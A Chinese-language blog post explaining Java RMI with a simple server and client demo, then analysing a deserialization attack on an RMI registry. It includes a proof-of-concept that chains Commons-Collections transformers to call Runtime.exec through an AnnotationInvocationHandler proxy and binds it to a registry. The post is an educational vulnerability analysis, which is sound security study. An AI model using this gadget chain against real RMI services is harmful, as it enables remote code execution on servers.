Yoga7xm's Blog

RMI 反序列化漏洞简析

字数统计: 1.7k阅读时长: 7 min
2019/09/02 309 Share

前言

这里利用RMI通信结合了上一次的Commons-Collections利用过程

Java RMI

Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

客户端的代理对象为存根,存根位于客户端机器上,它知道如何通过网络与服务器联系。存根会将远程方法所需的参数打包成一组字节。对参数编码的过程被称为参数编组,参数编组的目的是将参数转换成适合在虚拟机之间进行传递的形式。在RMI协议中,对象时使用序列化机制进行编码的,也就说RMI100%基于反序列化和序列化,大致流程如下

主要涉及的部分:

  • RMI Registry:提供Remote Object注册,Name->Remote Object的绑定和查询,属于特殊的Remote Object
  • RMI Server:创建Remote Object,并且将其注册到RMI 注册表中
  • RMI Client:通过Name向Registry获取stub,然后调用其方法

通常Server和Registry运行在同一主机的不同端口

  • Registry默认监听1099端口
  • RMI URL:rmi://host:port/remoteObjectName

Demo

定义一个Remote Object接口和类

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello() throws RemoteException;
}

需要实现Remote接口并抛出RemoteException异常

Server端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server implements Hello {
public String sayHello() {
return "Hello Word!";
}
public static void main(String args[]) {
try {
Server obj = new Server();
LocateRegistry.createRegistry(1099);
//返回结果为Remote Object Stub,包含了Server的host、port信息
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 6600);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", stub);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里为了节省空间Server实现了Hello接口,并且在main函数中创建了这个Remote Object。然后创建并启动了一个Registry,设定的端口为1099。接着又创建并启动了Server端,端口为6600,最后将代理对象注册到Registry并与Hello绑定了,等待Client请求

Client端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
private Client(){}
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
Hello stub = (Hello) registry.lookup("Hello");
String response = stub.sayHello();
System.out.println(response);
}catch (Exception e){
e.printStackTrace();
}
}
}

Client这里先是获取了Registry,然后调用了lookup传入name的值获取stub,最后调用sayHello的方法,这里具体情况是这样的:

  1. Client端通过stub中包含的host、port信息,与Remote Object所在的Server端建立连接,然后序列化调用数据
  2. Server端接收调用请求,将调用转发给Remote Object,然后反序列化请求执行方法,返回序列化的结果给Client
  3. Client端接收并反序列化结果

通信过程

与Register通信

最后的时候(ReturnData包),Register给Client返回了Server的host和port

与Server通信

在远程方法调用的过程中,所有的参数都要先进行序列化,从Client发送到Server,然后再Server端进行反序列化,这里假如Server端用了存在漏洞的第三方组件–Commons-Collenctions,就可能存在反序列化漏洞

反序列化 Based RMI

必要条件

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

POC

这里我们依旧使用JDK7 + Commons Collections进行分析

【注】:JDK8 121开始加入了白名单限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class POC {

public static void main(String[] args) throws Exception {

String ip = "127.0.0.1";
int port = 1099;
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","value");
Map outmap = TransformedMap.decorate(innerMap,null,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(java.lang.annotation.Retention.class, outmap );

InvocationHandler hl = (InvocationHandler) instance;
Object proxy = Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},hl);
Remote remote = Remote.class.cast(proxy);
Registry registry = LocateRegistry.getRegistry(ip, port);
registry.bind("poc", r);
}
}

断点分析

前面的一段还比较好说,因为就是之前分析的那条chains直接拿来用了,但是后面有两处疑问

InvocationHandler是个什么?

在JAVA的动态代理中,有两个重要的类和接口,一个是 InvocationHandler(Interface)、另一个则是 Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的

public interface InvocationHandler()

InvocationHandler是由代理实例的调用处理程序实现的接口 。
每个代理实例都有一个关联的调用处理程序。 当在代理实例上调用方法时,方法调用将被编码并分派到其调用处理程序的invoke方法。

也就是说,每一个动态代理类都得实现这个接口,并且每个代理类的实例都关联到了一个handler,当我们通过代理对象去调用一个方法时,这个方法的调用就会转发为由InvocationHandler这个接口的invoke方法来进行调用

来看类sun.reflect.annotation.AnnotationInvocationHandler的声明

可以发现这个类实现了InvocationHandler接口,于是POC中能够强制转换成handler对象。执行bind操作需要对象类型为Remote,创建了一个代理类并且绑定handler对象,然后转成Remote类型对象,再进行bind操作

由于反序列化是反向递归的,RMI Server收到数据后进行反序列化的时候也会去调AnnotationInvocationHandler.readObject()方法,继而setValue()触发Chains弹出计算器

为啥RMI Client也能进行bind操作?

bind()处断点,Debug一下,跟进来可以看到Client处的bind操作

可以看出来,Client端getRegistry得到的是一个RegistryImpl_Stub对象

var3返回的是一个RemoteCall类型的对象,getOutputStream之后返回ObjectOutput类型对象,然后进行序列化操作,最后得到一个ConnectionOutputStream进行远程通信

Reference

https://xz.aliyun.com/t/2223

https://wooyun.js.org/drops/java%20RMI%E7%9B%B8%E5%85%B3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E5%90%88%E5%88%86%E6%9E%90.html

https://www.k0rz3n.com/2019/04/20/JAVA%20%E6%B3%9B%E5%9E%8B%E3%80%81%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E6%8A%80%E6%9C%AF%E8%A6%81%E7%82%B9%E6%A2%B3%E7%90%86/

CATALOG
  1. 1. 前言
  2. 2. Java RMI
  3. 3. 反序列化 Based RMI
  4. 4. Reference